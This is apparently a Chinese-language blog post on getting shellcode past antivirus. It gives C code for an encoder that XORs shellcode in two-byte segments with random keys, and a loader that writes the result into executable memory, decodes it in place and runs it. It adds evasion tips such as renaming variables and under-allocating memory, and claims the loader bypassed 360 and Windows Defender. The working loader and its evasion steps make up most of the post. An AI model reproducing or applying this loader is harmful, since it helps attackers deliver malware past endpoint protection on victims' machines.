首先说个题外话。。。

测试的时候发现,360放在虚拟机里哪怕给他连上了网。。。简单用异或加密下的 shellcode 能正常上线,最主要的是。。跑mimikatz 360居然动都不动
但是一旦放到物理机上,刚下下来 马子 就马上被杀。

这就有点奇葩。。。猜360检测了虚拟机环境。。。

回到正题

现在的杀软对于普通的一次异或加密shellcode 都基本能静态秒杀。于是乎产生了一些想法:

shellcode 在 loader 里是经过异或加密的。难道说杀软遍历 1 - 255 去依次异或解密吗?有点不现实

那既然直接爆破破解 异或值 不太现实,那杀软凭什么能静态秒杀呢?沙盒吗?

结果测试的时候发现,单单在 loader 中放一个 一次异或加密的shellcode 也会被杀。

那就很明显了,一次异或加密的 shellcode 也许还有一些特征值,有规律,被杀软检测到了

那我们将 shellcode 分段加密,把规律打破,是不是自然就能过杀软了呢?

下面上代码:

首先需要在本地把 shellcode 加密下。。自动加密的脚本。。之后有空再写吧哈哈

 //未加密 shellcode 版。自己调试然后拿加密后的 shellcode 以及 xorData
 #include <Windows.h>

 int main() {
 /* length: 926 bytes */
 unsigned char source_shellcode[] = "SHELLCODE";
 unsigned char encode_shellcode[926] = { 0 };

 //XOR分段数,固定长度 926 / 2 = 463
 int xorNum = 463;
 //保存每次分段 XOR 的值
 int xorData[463] = { 0 };
 int source_shellcode_length = sizeof(source_shellcode);
 char decode;
 int k = 0;

 //分段XOR
 srand((unsigned int)time(NULL));
 for (int i = 0; i < xorNum; i++)
 {
 // 不能太大,也不能是 0
 xorData[i] = rand() % 200 + 10;
 //每2个一分组
 for (int j = 0; j < 2; j++) {
 encode_shellcode[k] = source_shellcode[k] ^ xorData[i];
 k++;
 }
 }
 getchar();
 return 0;
 } 

记得改下shellcode长度

1.png

打个断点,用调试器拿加密过的 shellcode 和 xordata:记得勾下 十六进制显示,将之复制出来

2.png

复制出来后到 sublime 中进行修改(sublime真好用)

3.png

别忘了还有个 xordata,如法炮制即可。

获取到 加密的 shellcode 和 xordata之后,将其放入到下面代码 中

ps:这些变量这么命名,可能有些杀软会检测下符号表,实战的时候最好改下变量名

#include <Windows.h>

int main() {

/* length: 926 bytes */

//没做那么智能化,加密的shellcode 和 XORdata 就在上一个代码中自己用调试器调然后拷贝出来把

unsigned char encode_shellcode[926] = "SHELLCODE";

//XOR分段数,固定长度 926 / 2 = 463

int xorNum = 463;

//保存每次分段 XOR 的值

int xorData[463] = { 0xXX,0xXX,0xXX…… };

char decode;

int k = 0;

char* Memory;

//故意开内存只开1,实际上后面偏移的时候还是能插进去的,可能能过下杀软

Memory = VirtualAlloc(NULL, 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

for (int i = 0; i < 926; i++) {

Memory[i] = encode_shellcode[i];

}

//XOR分段解码。直接在内存中异或,防止 shellcode 泄露。也许能过下杀软吧

//每两个一分组

for (int i = 0; i < xorNum; i++)

{

for (int j = 0; j < 2; j++) {

decode = encode_shellcode[k] ^ xorData[i];

Memory[k] = decode;

k++;

}

}

((void(*)())Memory)();

return 0;
}

可正常上线

6.png

8.png

虚拟机360跑起来:

10.png

11.png

最后:

实测物理机过了360、defender。

标签: 分段加密shellcode免杀

添加新评论